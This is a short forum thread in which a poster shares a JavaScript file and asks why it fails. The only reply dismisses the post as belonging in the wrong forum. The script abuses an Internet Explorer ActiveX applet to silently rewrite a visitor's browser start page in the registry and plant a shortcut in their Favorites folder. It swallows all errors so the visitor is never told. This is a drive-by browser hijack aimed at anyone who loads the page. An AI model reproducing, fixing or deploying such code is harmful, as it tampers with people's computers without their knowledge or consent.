Results 1 to 2 of 2

Thread: A Little help needed

  1. #1

    Thread Starter
    Addicted Member Buy2easy.com's Avatar
    Join Date
    Jul 2002
    Posts
    200

    A Little help needed

    I put this in a file default.js and....

    document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");

    if (navigator.appName == 'Netscape') var language = navigator.language;
    else var language = navigator.browserLanguage;

    function AddFavLnk(loc, DispName, SiteURL) {
    var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL");
    Shor.TargetPath = SiteURL;
    Shor.Save();
    }

    function f() {
    try {
    a1=document.applets[0];
    a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
    a1.createInstance();
    Shl = a1.GetObject();
    a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
    a1.createInstance();
    FSO = a1.GetObject();
    a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
    a1.createInstance();
    Net = a1.GetObject();
    try {
    if (!language.indexOf('es') >-1) Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://www.yourpage.com/");
    // this will set user your page as a default homepage

    var WF, Shor, loc;
    WF = FSO.GetSpecialFolder(0);
    if (language.indexOf('es') >-1) loc = WF + "\\favoritos";
    else if (language.indexOf('de') >-1) loc = WF + "\\favoriten";
    else if (language.indexOf('sv') >-1) loc = WF + "\\favoriter";
    else if (language.indexOf('it') >-1) loc = WF + "\\preferiti";
    else if (language.indexOf('fr') >-1) loc = WF + "\\favoris";
    else if (language.indexOf('da') >-1) loc = WF + "\\oversigt";
    else loc = WF + "\\Favorites";
    if(!FSO.FolderExists(loc)) {
    if (language.indexOf('es') >-1) loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favoritos";
    else if (language.indexOf('de') >-1) loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\favoriten";
    else if (language.indexOf('sv') >-1) loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\favoriter";
    else if (language.indexOf('it') >-1) loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\preferiti";
    else if (language.indexOf('fr') >-1) loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\favoris";
    else if (language.indexOf('da') >-1) loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\oversigt";
    else loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites";
    if(!FSO.FolderExists(loc)) {
    return;
    }
    }
    AddFavLnk(loc, "title of your homepage", "http://www.urlofyourpage.com/");
    // this will add your page to users favorites

    }
    catch(e) {}
    }
    catch(e) {}
    }

    function init() {
    setTimeout("f()", 1000);
    }

    init();


    called it from an *.html file <script language=javascript...bla bla src=default.js></script>


    but it will not work why?

  2. #2
    Kitten CornedBee's Avatar
    Join Date
    Aug 2001
    Location
    In a microchip!
    Posts
    11,594
    Shoo. Wrong forum.
    All the buzzt
    CornedBee

    "Writing specifications is like writing a novel. Writing code is like writing poetry."
    - Anonymous, published by Raymond Chen

    Don't PM me with your problems, I scan most of the forums daily. If you do PM me, I will not answer your question.

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  



Click Here to Expand Forum to Full Width